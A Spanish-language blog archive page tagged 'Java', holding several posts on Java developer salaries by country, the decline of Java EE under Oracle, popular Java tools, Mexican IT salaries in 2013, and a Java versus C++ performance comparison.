Posts Tagged ‘Java’

h1

Los 11 países (y un par de colados) con mejor paga para un profesional en Java

12/12/2016

Wizdoc [Icon By Buuf]
 Tips & Tricks.

Atribuyo mi éxito a esto: nunca me rendí, ni di excusa alguna.

Florence Nightingale (1820 – 1910). Enfermera, escritora y estadística británica, considerada como la precursora de la enfermería profesional moderna.

Este 2016 ya casi termina, por lo que muchos de nosotros estamos saliendo de vacaciones o finalizando los últimos encargos antes de “cerrar la cortina” debido a las fiestas. Otros tantos, ya empezamos a planear los proyectos del próximo año, ya que durante los primeros meses del 2017, si bien el mundo no se acabará, sufriremos de una fuerte incertidumbre y por consiguiente, el entorno económico se tornará bastante pesimista. Por ello, en vez de preocuparnos, es necesario ocuparnos en soluciones concretas para evitar “marearnos” debido a la montaña rusa que estamos a punto de experimentar.

Es así como encontré la siguiente infografía, que detalla algunos de los países donde el conocimiento en Java es mejor pagado; desde entry-levels, hasta desarrolladores expertos con más de 10 años de experiencia:

Pic: 12 Best Paying Countries for Java Professionals
Los 11 Mejores Países para un Profesional en Java. También se incluye a la India, cuyos sueldos se encuentran entre los 6,000 y 15,000 dólares anuales; una cifra bastante más baja que el ingreso percibido por un desarrollador Mexicano (USD 15,500 – 20,200) (Fuente: DZone.com)


Lo interesante de la gráfica es que no necesariamente los Estados Unidos son los que mejor pagan; para desarrolladores expertos, el país que cuenta con el mejor sueldo es Suiza, con el equivalente a casi USD 99,000 anuales. Sin embargo, por lo remoto de aquella nación Europea y el “detalle” de tener que ser multilingüe (los idiomas oficiales son el Alemán, Francés, Italiano y Romanche) es comprensible que sus sueldos sean bastante altos. Por otro lado, países que difícilmente serían considerados como la primera opción de un desarrollador en Java, como Nueva Zelanda, Australia y el Reino Unido, también son muy atractivos. A continuación, una tabla con estos sueldos convertidos a dólares Americanos, incluyendo a México como referencia:

País Principiante
(USD)
Intermedio
(USD)
Experto
(USD)
Suiza 39,865.32 85,821.12 99,000.00
E.E.U.U. 48,735.00 72,760.00 87,000.00
Noruega 48,069.84 65,485.80 78,476.64
Dinamarca 28,105.56 64,273.58 76,821.78
Israel 25,480.00 61,949.94 72,800.00
Australia 37,008.75 56,748.75 68,250.00
Suecia 29,869.18 53,184.67 60,750.47
Alemania 28,721.76 48,364.62 56,180.00
Canadá 32,827.44 47,977.28 56,240.00
Nueva Zelanda 32,384.88 45,932.40 56,160.00
Reino Unido 29,909.77 44,140.12 55,880.00
México 15,421.48 19,770.32 20,094.31
India 6,209.34 11,970.72 15,000.00
Sueldos anuales por país, en dólares Americanos, ordenados de mayor a menor por Nivel Intermedio de experiencia.


La gráfica también expone lo que ya sabíamos: la tecnologías que están de moda son Hibernate, Spring y Struts, y las que ya van de salida, debido a la negligencia de Oracle, como los JSPs y Servlets. También nos muestra que vale la pena obtener certificaciones como programador o desarrollador, para refinar nuestras habilidades y tener un currículo con un mayor impacto.

Ahora, ya que para el próximo año tanto los Estados Unidos como Europa serán más propensos a aumentar las restricciones sobre el movimiento de los trabajadores, no todos seremos capaces de empacar y salir de nuestros respectivos países para lanzarnos a la aventura. Entonces, ¿por qué no buscar trabajo remoto? En la web podemos encontrar buenas opciones para encontrar tales oportunidades, lo que nos permitiría ganar un par de dólares desde la comodidad de nuestro propio hogar. ¿El único obstáculo? La maestría del idioma Inglés y, por supuesto, nuestras habilidades para usar las tecnologías del oficio.

h1

El Javapocalipsis o cómo nos estamos quedando sin Java EE

07/15/2016

Wizdoc [Icon By Buuf]
 Tips & Tricks.

No se trata de bits, bytes y protocolos, sino de beneficios, pérdidas y márgenes.

Louis Gerstner, Jr. (n. 1942). Empresario estadounidense, mejor conocido por su rol como director general de IBM entre 1993 y 2002.

Una tendencia aparentemente irreversible, es la lenta pero inexorable muerte de Java Enterprise Edition (Java EE). No me refiero al lenguaje de programación Java (también conocido como Java Standard Edition o Java SE), el cual está teniendo un enorme impulso gracias a su facilidad de aprendizaje e implementación, sino a todas aquellas tecnologías/librerías basadas en Java, que en su momento eran consideradas el non plus ultra para desarrollar aplicaciones multi-capa y empresariales: Servlets, Java Server Pages (JSP), Enterprise Java Beans (EJB), Java Persistence Architecture (JPA), así como Java Server Faces (JSF).

Cómo llegamos hasta aquí

En 1999, Sun Microsystems publicó Java EE, con la finalidad de desarrollar aplicaciones “de nivel empresarial”, que en su forma más simple, son aplicaciones web con alta disponibilidad, escalabilidad y mantenibilidad. Así, dicha versión de Java incluía los EJBs, Servlets y JSPs; tecnologías bastante complejas que requerían de al menos un día para mostrar el proverbial “Hola Mundo”. Debido a esta dificultad de implementación, la comunidad open-source respondió casi de inmediato, desarrollando y liberando en el año 2000 ciertos frameworks como Struts e iBATIS, los que disminuían enormemente el tiempo para terminar un delivery. Eventualmente, surgieron algunos frameworks más ligeros y ergonómicos que el propio Java EE, como Hibernate y Spring, los que forzarían a Sun adoptar su filosofía, en la sexta versión de Java EE, liberada en 2009.

Sin embargo, a raíz de la adquisición de Sun por Oracle, completada en 2010, la empresa dirigida por Larry Ellison ha dejado de apostar a esta plataforma, relegándola poco a poco al olvido. ¿La razón? Que Oracle es un conocido mercenario en la industria, y Java EE no está generando los suficientes ingresos como para asegurarle un presupuesto. Lo peor de todo es la poca transparencia y falta de un pronunciamiento claro al respecto, lo que está poniendo nerviosos a programadores, integradores y clientes por igual. Y no es para menos, pues considerando el historial de Oracle con los desarrollos open-source, existen muchas razones para preocuparse por el bienestar de esta plataforma; especialmente desde que Oracle perdió una batalla legal contra Google en Mayo pasado por el uso de Java en Android, la que ha desembocado en la demora de Java SE 9, cuya fecha de liberación se moverá hasta 2017, y la paralización de cualquier trabajo relacionado a Java EE.

Pic: Is Java dead?


Si bien la plataforma Java EE se encuentra en franca decadencia, el lenguaje de programación Java es parte de una era dorada empujada principalmente, por el explosivo crecimiento de los smartphones y tablets:

• Los applets de Java ya son cosa del pasado debido a que inicialmente apareció Flash; en última instancia, fueron liquidados por HTML5.

• La popularidad de Java en desktop siempre ha sido relativamente baja, debido sobre todo a otras opciones como C++ y Python. Sin embargo, definitivamente no está acabada y todavía se mantiene en evolución constante.

• Muchas empresas tienen enormes cantidades de código escrito en Java. Y si algo hemos aprendido de lenguajes legados como COBOL, es que frecuentemente, se niegan a morir – aunque ya no representaría una ventaja curricular conocerlo, a menos que seamos especialistas en alguna de sus tecnologías, como digamos, EJB 2.1.

• Java es el principal lenguaje de programación de los dispositivos Android, que son muy populares: en Otoño de 2015 existían alrededor de 1,400 millones de dispositivos activos alrededor del mundo.

En resumen, Java no va a desaparecer, incluso si Oracle se lo propusiera.


(Fuente de la imagen: ExtremeTech.com)


La cuestión es que al detener el soporte a Java EE, Oracle está poniendo en riesgo 15 años de desarrollo aplicativo y literalmente, millones de empleos alrededor del mundo. Hoy en día, ya hay competidores de Oracle que estarían dispuestos a tomar el relevo para continuar con el proyecto, como IBM y RedHat, quienes ciertamente tienen los recursos para soportar la plataforma, además de tener la capacidad de agregarle funcionalidad de acuerdo al actual entorno tecnológico, como los microservicios. Claro que Oracle siendo Oracle, puede comportarse como el siniestro Guasón de The Dark Knight (2008): esta compañía preferiría convertirse en un agente del caos, antes de permitir que las joyas de la corona caigan en manos de la competencia. Esto podría desestabilizar la industria, ya que daría lugar a una situación extrema en la que decenas de proveedores de TI, que dirigidos por Google, IBM y RedHat, se unan para generar su propia versión de Java EE, dejando a Oracle fuera de la jugada.

¿Qué pasará?

Lamentablemente, Oracle no ha sabido cómo capitalizar la ventaja competitiva que tiene al haber adquirido Java EE. Por el contrario, se puso un balazo en el pie, eliminando o echando a perder algunas de sus mejores adquisiciones, como WebLogic, GlassFish, OpenOffice ó Hudson. Y es que este siempre ha sido el modus operandi de Oracle: en vez de tomar un producto para hacerlo el líder de su respectivo nicho de mercado, se la ha pasado coleccionando buenos desarrollos, para poco a poco, retirarles el financiamiento. Eventualmente, los deja morir o los “tira a la basura”, al donarlos a la comunidad open-source cuando ya no representan un riesgo para su negocio central.

Si Ellison y su equipo tiene un mínimo de visión, en algún punto se darán cuenta que su verdadero negocio central son las bases de datos; no los servidores de aplicaciones y por supuesto, tampoco Java EE. En ese momento, darán las gracias y dirán adiós, permitiendo que el Java Community Process tome las riendas de la plataforma, dejando que algunos de sus miembros más fuertes se hagan cargo de su evolución. Sin embargo, si Oracle no hace absolutamente nada, tan sólo se necesitan un par de años más para que la entropía se haga tan evidente, que nadie querrá adoptar su funcionalidad, convirtiéndola en tan sólo algunas librerías de uso común en los productos de Oracle. Esto de hecho, ya está pasando en la actualidad: algunos de los clientes con los que he trabajado, están reemplazando sus servidores de aplicaciones empresariales (RedHat JBoss o IBM WebSphere) por simples Tomcats con Spring debido a que “Nos han pedido diversificar nuestro stack tecnológico, porque nuestra dependencia [en Java EE] se ha vuelto potencialmente peligrosa.” Siendo así las cosas, ya no habrá nada que hacer, dando el paso libre para otras tecnologías como MEAN (MongoDB + Express.js + AngularJS + Node.js”).

En fin, el único consuelo de tontos en este caso, es que Oracle se está disparando en el pie una y otra vez, repetidamente. Entonces, después de haber generado suficiente antagonismo con socios y clientes por igual, tal vez finalmente sangre lo suficiente como para que muera y sea comprada por alguien que sí tiene la visión necesaria para llevar esta plataforma hacia el futuro.

h1

Las herramientas y tecnologías más usadas en Java

11/29/2013

Wizdoc [Icon By Buuf]  Tips & Tricks.

El aprendiz evita todo uso de clases en Java. El profesional, acepta las clases de Java. El maestro sabe qué clases aprovechar y cuáles evitar.

— Michael Fogus, programador y escritor Estadounidense. Autor del libro The Joy of Clojure.

Regularmente, un proyecto desarrollado en el lenguaje de programación Java incluye librerías de terceros. Esto ocurre porque en estricta teoría, los APIs del core del lenguaje poseen toda la funcionalidad que necesitamos, mientras que en realidad, generar este middleware por nuestra cuenta requiere demasiado esfuerzo, por lo que podemos minimizar esta tarea con la ayuda de librerías que nos permiten enfocarnos en lo que realmente importa: la lógica de negocio. Así, desde las tareas tan pedestres como los logs, hasta las más esotéricas como el procesamiento de lenguaje natural, tenemos a nuestra disposición un sinfín de herramientas y frameworks generados por otros desarrolladores que nos permitirán resolver el problema en cuestión sin necesidad de reinventar la rueda. Por otro lado, con el explosivo crecimiento de Java y las plataformas que la componen, incluyendo desktop, web y móvil, existen literalmente cientos de librerías para una misma función que pueden generarnos ansiedad por indecisión, porque debemos elegir entre frameworks “de moda” – los que pueden impresionar a los clientes, cerrando un trato – y aquellas herramientas que ya son consideradas maduras y por lo tanto, “aburridas”. Esto es razonable, ya que el éxito o fracaso de un proyecto desde el punto de vista técnico se debe en gran medida al uso de tecnologías inmaduras o aquellas que tienen una pronunciada curva de aprendizaje.

Así entonces, hace algún tiempo se publicaron dos análisis que describen las herramientas y frameworks más utilizados por la comunidad Java. El primero fue generado por el staff de Takipi, un startup que ha basado su estudio en las estadísticas que arrojaron más de 10,000 proyectos de Java hosteados en GitHub. El segundo fue desarrollado por ZeroTurnaround, otra compañía que realizó su análisis a través de encuestas publicadas en el reconocido sitio The Server Side. Los resultados se muestran a continuación:

Pic: Tools & Tech - 1 of 2
Pic: Tools & Tech - 2 of 2

Herramientas y tecnologías más comunes en la comunidad Java. En la gráfica se muestra el porcentaje de proyectos en los que los desarrolladores han utilizado una tecnología específica, de acuerdo a su categoría.

A partir de estos números, obtenemos algunos hallazgos interesantes:

• En este momento, la versión de Java más usada es la 6, publicada en Diciembre de 2006. Puesto que la versión 5 tiene poco más de 9 años de existencia (Septiembre 2004) y la versión 7 apenas tiene un par de años de haber sido liberada (Julio 2011), estos porcentajes proporcionan el tiempo aproximado para que una versión de Java se generalice: 3 años y 4 meses.

• Debido a su tremenda potencia, relativa facilidad de aprendizaje y extensa documentación, Eclipse, Maven, Ant, Jenkins/Hudson, Subversion, SLF4J, Spring, Hibernate y JUnit se han vuelto los estándares de facto en la industria, al grado en que no existen implementaciones de Java que no usen alguno de estos frameworks y herramientas.

• Adicionalmente, Spring MVC y Java Server Faces se han convertido en los frameworks de mayor uso para cualquier implementación web. Apache Struts sigue apareciendo entre los primeros lugares, aunque no está claro cuál de las dos versiones es la más popular. Lamentablemente, otros frameworks como Wicket o Tapestry – que personalmente me parecen mucho más accesibles que JSF o Struts – se han quedado rezagados.

• En cuanto a los servidores de aplicaciones, vale la pena mencionar cómo Tomcat está presente en casi cualquier despliegue web, mientras JBoss es el “servidor empresarial” con mayor uso por la comunidad. Por otro lado, vemos cómo los millones de dólares que respaldan a los servidores de aplicaciones comerciales no han servido de mucho para incrementar su participación. Sin embargo, esto es sólo relativo, ya que con frecuencia, Tomcat y Jetty son utilizados para ambientes de desarrollo, mientras el servidor en el que se deja la producción termina siendo un Websphere o un Weblogic.

• Finalmente, de acuerdo a las estadísticas, el desarrollo orientado a pruebas está cambiando la manera de hacer los proyectos, con casi uno de cada tres utilizando JUnit: Ahora, las pruebas unitarias ya son prácticamente un requerimiento que nosotros como desarrolladores debemos conocer y saber cómo llevar a cabo.

Conclusiones

Los resultados pueden no ser sorprendentes, pero son un buen punto de referencia para saber hacia dónde se está dirigiendo Java, mientras que para los desarrolladores novatos éstos pueden servir como guía para conocer qué frameworks y herramientas deben dominar si quieren ser competitivos en el ambiente laboral presente. Adicionalmente, podemos darnos cuenta que con muy marcadas excepciones, el desarrollo en Java depende casi exclusivamente de iniciativas open source, lo que ciertamente democratiza esta disciplina, evitando que un sólo jugador sea el que defina el futuro de la especialidad, tal como aquella otra tecnología que opera bajo el (poco ético) lema de “adoptar, extender y extinguir“.

h1

Sueldos IT en México 2013: Veteranos al poder

02/20/2013

Wizdoc [Icon By Buuf]  Tips & Tricks.

(Última actualización: 22/03/2015)

En este momento ya contamos con la última versión de este estudio, con cifras actualizadas para el año 2015 que incluyen entre otras cosas, desglose por entidad federativa, género, tipo de empresa contratante y nivel de inglés así como un comparativo contra el sueldo del estudio anterior (2013).

El problema con los programadores es que nunca se sabe lo que están haciendo hasta que es demasiado tarde.

Seymour Cray (1925 – 1996), ingeniero eléctrico y arquitecto de hardware estadounidense, considerado el padre de las supercomputadoras.

Desde hace ya algunos años he publicado posts relacionados a los sueldos del personal IT en México, apoyándome en los resultados de la encuesta de salarios y factores de la revista Software Guru, complementados con información de sitios como Payscale u OCCMundial. En términos generales, este 2013 no se ven demasiados cambios con respecto al reportaje anterior, sin embargo el detalle de sueldos sí presenta algunas sorpresas:

El promedio

El sueldo promedio del personal IT en México es de aproximadamente MXN 25,049 brutos (anualizado: USD 23,799 con un tipo de cambio de 12.63 pesos por dólar al 19.02.2013). Esto significa que durante los últimos dos años, el sueldo se ha mantenido a la par de la inflación y ha conservado prácticamente la misma paridad con respecto al dólar: el sueldo “dolarizado” en 2011 era de USD 23,736, por lo que ha tenido un incremento neto de 63 dólares. Aunque parece estancado en términos del billete verde, de acuerdo a la paridad de poder adquisitivo o PPP, el sueldo promedio de un sistemólogo en México equivale a ganar USD 35,975 en los Estados Unidos; aunque seguimos ganando menos de lo que ganaría un estadounidense (USD 90,279 con todo y prestaciones), de nueva cuenta los sueldos siguen convergiendo poco a poco, ya que la proporción es de 2.51 mientras hace dos años era de 2.97 (USD 70,536 vs. USD 23,736 en 2011). De seguir esta tendencia, en diez años o menos los sueldos de ambas naciones tendrán diferencias mínimas; idea que no es del todo descabellada, sobre todo para empresas que exportan servicios de consultoría hacia el exterior.

Por otro lado, vale la pena recordar que este promedio varía considerablemente. De hecho, de acuerdo a nuestra locación geográfica éste puede variar en más del 30%:

Estado Salario Promedio Mensual (MXN) Salario Promedio Anualizado (USD)
Querétaro $ 32,668.61 $ 34,383.71
Nuevo León $ 30,634.32 $ 32,242.62
Distrito Federal $ 29,025.53 $ 30,549.37
Jalisco $ 24,963.37 $ 26,273.95
Estado de México $ 24,461.17 $ 25,745.38
Promedio Nacional $ 25,049.00 $ 23,799.00
Aguascalientes $ 22,486.96 $ 23,667.53
Guanajuato $ 19,040.36 $ 20,039.98
Puebla $ 18,470.67 $ 19,440.38
Veracruz $ 14,190.00 $ 14,934.98

Sueldo bruto promedio por entidad federativa. Mensual en pesos Mexicanos, anual en dólares Americanos (Tipo de cambio al 19.02.2013)

Me parece interesante cómo han evolucionado de forma independiente lo sueldos por cada estado de la república: Querétaro se está posicionando como una Meca en el desarrollo de software, con una variación de poco más del 30% por encima del promedio nacional y un crecimiento bianual de casi el 33%. Esto no es de sorprenderse ya que dicho estado se ha esforzado en diversificar su economía: por poner un ejemplo, con la excepción de Baja California (estado tradicionalmente maquilador), Querétaro es la entidad con más empresas relacionadas a la industria aeroespacial (32) en el país.

Por otro lado, Veracruz es el mayor perdedor en esta edición, con un magro crecimiento de 3.75% anual que ni siquiera sobrepasa la inflación de estos dos años. Creo que mucho tiene que ver nuestra guerra contra las drogas, que ha hecho de éste uno de los estados más inseguros debido al conflicto; más cuando resulta que el personal IT – especialmente aquellos relacionados con las telecomunicaciones – son el objeto de secuestro por parte de los grupos criminales para crear sus propias redes de comunicaciones.

Sueldos por función

Los sueldos por función reflejan las actividades, que de acuerdo a la encuesta original, se traslapan con bastante regularidad:

pic: Mexico IT salaries by function


Sueldos por función de acuerdo a actividades desempeñadas. Cifras en pesos Mexicanos, sueldo bruto mensual.

• De nueva cuenta, el diseño gráfico resulta ser el peor pagado con un sueldo extraordinariamente bajo con respecto al promedio general.

• También me llama la atención lo bajo que es el sueldo de un DBA “genérico”; sin embargo no nos desanimemos pues cuando existe una especialización en una base de datos y/o existen certificaciones de por medio (como veremos más adelante), el panorama cambia radicalmente.

• De acuerdo a la Organización para la Cooperación y el Desarrollo Económico (OCDE), un profesor sin maestría o doctorado con 15 años de experiencia gana aproximadamente USD 25,905 anuales (con PPP incluido) en México. Esto en pesos equivale a MXN 18,037 mensuales. Así que hace mucho más sentido dedicarse a dar cursos de capacitación IT que ser maestro en nuestro pobremente pagado sistema educativo.

• El grueso de las actividades IT que va desde el análisis de datos hasta pruebas y Quality Assurance no varía demasiado (MXN 5,288 mensuales); la arquitectura de soluciones y gestión de proyectos siguen siendo las actividades operativas mejor pagadas con MXN 28,183.30 y MXN 32,018.29, respectivamente.

• Aunque en la edición pasada los habían eliminado, en esta versión volvemos a ver puestos que en realidad no nos dicen mucho del panorama IT, como ventas y dirección. Esto porque he notado que estos puestos se mueven más por conceptos ajenos a IT como ventas o desarrollo de negocios, por lo que hay gente en estas posiciones que llegan al extremo de no tener ni idea de lo que significa IT.

• Finalmente, de nueva cuenta los ingenieros de preventa barren con los sueldos. Sin embargo, creo que esto se debe a que en muchos casos, operan con una cuota y por lo mismo, en caso de “llegar al número” tienen bonos adicionales que se ven reflejados en el sueldo mostrado.

Sueldos por género, experiencia y nivel de Inglés

Es sorprendente ver cómo nuestro nivel de Inglés o género influyen en nuestro sueldo. No tanto la experiencia, pues a mayor exposición ante diferentes tecnologías, proyectos o lenguajes, más experto se vuelve uno y por consiguiente, el sueldo se ve incrementado:

pic: Mexico IT salaries by English level, gender and experience


Sueldos por género, experiencia y nivel de Inglés. Cifras en pesos Mexicanos, sueldo bruto mensual.

• Uno de los grandes indicadores de que seguimos siendo un país en desarrollo es la inequidad de género. De acuerdo a las estadísticas, una mujer gana en promedio 30% menos de lo que hace un hombre con los mismos conocimientos y experiencia profesional. Sin embargo, esto también se debe a que esta industria ha sido tradicionalmente dominada por varones: de acuerdo a la misma OCDE, la proporción de hombres y mujeres dedicados a las matemáticas y ciencias de la computación en nuestro país es de 62% y 38% respectivamente.

• Asimismo, los años de experiencia dictan mucho qué tanto podremos percibir. Los dos extremos me llaman mucho la atención: un veterano con más de 20 años en la industria estará siempre por encima de los MXN 41,000, lo que significa que mientras encuentre trabajo, éste será muy bien recompensado. Por el contrario, me resulta doloroso ver cómo sin importar si terminó la carrera universitaria, un “becario” con menos de un año de experiencia puede ganar casi lo mismo que un “maestro albañil” que no ha terminado siquiera la escuela secundaria: MXN 11,299.38 vs MXN 10,000. Para aquellos que se encuentran en este predicamento, les doy la siguiente recomendación: certificaciones, certificaciones, certificaciones.

Sueldos por conocimientos, habilidades, tecnologías y certificaciones

A principios del 2013, éstos eran los sueldos promedio en México de acuerdo al nivel de conocimientos, tecnologías y certificaciones:

pic: Mexico IT salaries by knowledge, skill, tech, certifications (1)pic: Mexico IT salaries by knowledge, skill, tech, certifications (2)


Sueldos por conocimientos, habilidades, tecnologías y certificaciones. Cifras en pesos Mexicanos, sueldo bruto mensual. Leyenda: (P) Plataforma, (L) Lenguaje, (DB) Base de Datos, (C) Certificación/Conocimiento.

• En esta versión del estudio, Adobe AIR va de último, sin embargo es lógico ya que es prácticamente una paquetería al estilo Adobe Flash o Adobe Flex: usada generalmente por diseñadores web.

• PHP como lenguaje, MySQL como base de datos y Android como plataforma son los peores pagados en la industria; una certificación en Linux sigue siendo poco deseable debido al poco retorno de inversión (apenas 151 pesos por encima del promedio de un IT “genérico”).

• Java ha visto una pequeña mejora con respecto a años anteriores, ya que vuelve a estar por encima de Visual Basic, .Net y C#. Cuando hay certificaciones de por medio, ambas plataformas (Oracle J2EE y Microsoft .Net) permiten obtener prácticamente el mismo ingreso.

• Los sistemas legados siguen siendo los mejor pagados: Mainframe, Cobol, Informix y DB2 aseguran un sueldo por encima de los MXN 30,000 mensuales.

• Certificaciones muy recomendables incluyen la de SQA/ISTQB, UML, ScrumMaster e ITIL, ya que además de lo relativamente económicas de adquirir (no cuestan arriba de USD 300 o MXN 3,800 y los cursos de certificación no están por encima de los USD 1,200 o MXN 15,000), no requieren demasiado tiempo o esfuerzo para obtenerlas. Esto las hace muy atractivas ya que poseen un alto retorno de inversión.

• Por otro lado, las certificaciones “top” incluyen la de Project Manager certificado por el PMI o la de Enterprise Architect certificado ya sea por el Software Engineering Institute (SEI) o la IT Architect Association (IASA). Dichas certificaciones pueden ser relativamente baratas (USD 600 o MXN 7,600) pero en algunos casos requieren de 3 a 6 meses de estudio constante para pasar el examen, así como un número de horas comprobables realizando el rol a certificar. Dicho sea de paso, certificaciones no incluidas en el estudio como PMI-ACP (Agile Certified Practitioner) o CSP (Certified Scrum Professional) son equivalentes a la de PMP, pero para metodologías ágiles: de hecho, cuestan lo mismo y el tiempo requerido para estudiar y pasar el examen es muy parecido.

• Finalmente… ¿Websphere en MXN 57,000? ¡Pero si eso es un sueldo de director de operaciones! De hecho, un puesto similar en los Estados Unidos (Websphere Administrator) se paga en casi el mismo monto que la media de un ingeniero de software estándar (USD 91,450 vs. USD 91,271). Así que o tienen contratado a un gringo que está sesgando la curva, o alguien está presumiendo una certificación que del otro lado ya es considerada más bien “del montón”.

h1

Desempeño de C++ vs. Java: todo reside en la calidad del compilador (y del programador también)

12/13/2012

Wizdoc [Icon By Buuf]  Tips & Tricks.

Hay sólo dos tipos de lenguajes de programación: aquellos de los que la gente siempre se queja… y aquellos que nadie usa.

Bjarne Stroustrup (n. 1950), científico de la computación y catedrático Danés. creador del lenguaje de programación C++.

Para este año fiscal (FY-2013) nos han encargado construir una aplicación de rastreo, monitoreo y seguridad logística, muy parecida a otra que hemos traído desde Estados Unidos a México desde hace tiempo. La gran diferencia radica en que mientras la anterior estaba adaptada a un sólo tipo de dispositivo de rastreo o AVL, la nueva aplicación tiene como finalidad convertirse en nuestra “plataforma universal”, en la que consolidemos todas nuestras soluciones, incluyendo rastreo satelital.

Ahora bien, dentro de nuestras primeras definiciones de arquitectura tecnológica, nos hemos dado cuenta que requeriremos un gran poder de cómputo, ya que estaremos atacando dos grandes procesos: el primero consiste en leer y decodificar los mensajes enviados por 30,000 AVLs; el segundo se trata de procesar los eventos geoespaciales que resultan de éstos mensajes – tal como calcular la proximidad a un “punto de interés” o el evento de entrada y salida desde una geocerca. Hemos notado que una buena opción consiste en implementar una granja de procesadores digitales de señales (DSPs), que llevarían a cabo estas tareas de procesamiento. Sin embargo, en un momento dado los integrantes del equipo caímos en la disyuntiva: ¿Qué lenguaje será usado para desarrollar esta infraestructura: Java o C++? Aunque C++ parece la decisión lógica, es importante definir el lenguaje de forma objetiva, ya que la mayoría de las personas piensa que Java es lento, o que debido a que Java está implementada en C++, éste lenguaje es más poderoso (tip: ambas ideas son falsas). Convirtiéndome en Mythbuster, comparto alguna información al respecto:

¿”Java es lento”?

Java tuvo sus inicios en 1991, y Sun Microsystems lo liberó al público en 1995. Aunque el lenguaje heredó mucha de sus sintaxis de C/C++, los objetivos de Java en aquél entonces pueden resumirse en los siguientes principios:

• Simple, orientado a objetos y familiar.

• Robusto y seguro.

• Arquitectónicamente neutro y portable.

• Ejecutándose en “alto desempeño”.

• Interpretado, con soporte a paralelismo y dinámico.

El compilador de Java convierte el código fuente en archivos bytecode, que posteriormente son interpretados por la Máquina Virtual de Java o JVM, en un modelo de ejecución en pila o stack. Las primeras versiones de Java – previas a la 1.2 – no realizaban optimizaciones en el bytecode y debido a que las diferentes versiones de JVM eran más bien genéricas, la ejecución tenía un desempeño pobre.

A partir de la versión 1.2 (Diciembre de 1998), Java incluyó un compilador Just-In-Time o JIT, que optimizaba el bytecode en tiempo real de acuerdo a la carga de trabajo sobre el programa. Como contraste, un modelo de compilación estática como C/C++ “adivina” dónde se encuentran los cuellos de botella y se enfoca en esa parte del código para realizar la optimización, pero en el caso de ambientes dinámicos como las aplicaciones web, el compilador JIT mantiene una relativa ventaja. Por otro lado, con cada nueva versión de Java, el lenguaje ha ido mejorando su desempeño, ya sea por optimización en la JVM, el recolector de basura o el compilador JIT. De acuerdo a este artículo, podemos ver la comparación en desempeño entre C++ y Java en algunas funciones relativamente sencillas. Lo sorprendente es lo malo que se desempeña C++ si durante la secuencia de compilación y enlace (linking) se deshabilitan todas las banderas de optimización de código. Adicionalmente, de la versión 6 a la 7, Java mejora su desempeño en alrededor de un 33%:

Función Ejemplo Java SE 6 (2010) Java SE 7 (2012) C++ (optimizado) C++ (sin optimizar)
Aritmética entera int Y = rand(X) * 2 25 16 0.001427 70
Aritmética de punto flotante double Y = rand(X) * 2.0 47 28 0.001477 85
Comparación de enteros if A == B then X = B else X = B 50 33 0.001971 56
Acceso a memoria indexada for i = 0 to N: int X = array[n] 53 25 11 136
Asignación de memoria – tipo primitivo for i = 0 to N: int array[n] = X 12,994 7,589 3,661 8,567
Asignación de memoria – objetos for i = 0 to N: Object array[n] = X 710,788 191,581 29,348 70,436

Tiempos de ejecución en milisegundos (excepto la asignación de memoria, dada en nanosegundos) para algunas funciones en C++ y Java. La ejecución de J2SE 7 se realizó el 10/12/2012. Fuente: developer.com

Podemos deducir que el problema de desempeño no reside en el lenguaje mismo, sino en el compilador y en su caso, la JVM. De hecho, existen dos ejemplos de esta dependencia:

• Es bien sabido por muchos que JRockit, la JVM construida por BEA Systems (ahora Oracle) y publicada en 2002, es mucho más escalable en ambientes con una fuerte demanda de recursos que HotSpot, la JVM originalmente concebida por Sun Microsystems. Tanto así que la próxima Java SE 8, por liberar en Septiembre de 2013, tendrá integrado el core de JRockit.

• Por el contrario, algunas versiones de C++ para Linux sobre Intel pueden tener un nivel de optimización tan mediocre (por ejemplo, G++ [gcc] 3.3.1), que incluso con código escrito por el mejor programador, pueden tener un desempeño equivalente o más lento que el de Java, con lo que muchos fans de éste lenguaje justifican la afirmación de que “Java es más rápido que C++” (idea que por cierto, también es errónea).

Finalmente, debemos considerar la manera en que se está usando el lenguaje cuando hablamos de desempeño. En el caso de Java, tenemos el clásico ejemplo de Vector vs. ArrayList: mientras un Vector es una colección de datos “segura” para implementar hilos de ejecución y paralelismo, ésta genera un fuerte golpe al desempeño debido a que controla el acceso concurrente sobre los elementos que ésta almacena. Por ello, tampoco es sano realizar nuestras comparaciones sin primero verificar que el código fuente está optimizado, ya que en algunos casos la programación es tan mala que el tiempo de ejecución se incrementará enormemente.

Java vs. C++: una comparación histórica

¿Cómo se comparan Java y C++ en términos de programas “de la vida real”? Actualmente abundan muchos microbenchmarks como el arriba mostrado, donde se verifican funciones muy simples, como manipulación de arreglos o acceso a memoria. Sin embargo, la mayoría de los casos de prueba son demasiado básicos como para ser un indicador confiable del desempeño. En la actualidad, existe un estudio comparativo formal: desarrollado por J. P. Lewis y Ulrich Neumann, investigadores de la Universidad del Sur de California (USC), el estudio se basa en 5 pruebas con diferentes versiones de Java y C++. Sus resultados, en términos generales, fueron los siguientes:

• Al comparar algoritmos numéricos como FFT, factorización de matrices o SOR en diferentes arquitecturas y compiladores, los investigadores encontraron que el desempeño de Java en plataformas Intel es razonablemente cercano al de C++ y que Java era más rápido que al menos un compilador en C (KAI sobre Linux Red Hat 5.0). En hardware con Intel Pentium, especialmente con Linux, la diferencia en desempeño es lo suficientemente pequeña como para carecer de importancia.

• Al utilizar el benchmark SciMark2 en una plataforma Intel, ellos encontraron que el IBM JDK 1.3.0 generaba un poder de procesamiento de 84.5 MFlops, mientras que el compilador de linux2.2 gcc (2.9x) era marginalmente mejor con 87.1 MFlops. Es decir, Java era tan sólo 3% más lento que C++.

• Utilizando implementaciones de métodos numéricos mediante objetos, ellos encontraron que Java se aproximaba bastante a los tiempos que tardaba C++ en ejecutarse. Por ejemplo, para generar el Triángulo de Pascal, Java tardaba 9 milisegundos mientras C++ tardaba 1.1 segundos. Para una Factorización LU, Java tardaba 1 segundo en resolver el problema mientras C++ tardaba hasta 3.9 segundos.

• Implementando microbenchmarks con y sin cache, los investigadores encontraron que Java se encuentra justo a la mitad entre los mejores y los peores compiladores de C++. Es decir, Java 3 es mejor que gcc 3.2, pero nunca le ganará a un gcc 4.1.0.

El problema que tengo con este estudio es que fue desarrollado hace ya algún tiempo – en aquél entonces, Lewis y Neumann compararon Java 2 o 3 contra las versiones de C++ disponibles entre 2003 y 2004 – por lo que si bien podemos darnos una mejor idea de que la velocidad de los programas definitivamente depende del compilador, hoy por hoy tendríamos que correr todas estas pruebas en plataformas multi-core, con la última versión de software disponible para darnos cuenta cuál es el estatus actual de esta “carrera armamentista”.

Java 7 vs. C++ (gcc) 4.6.3

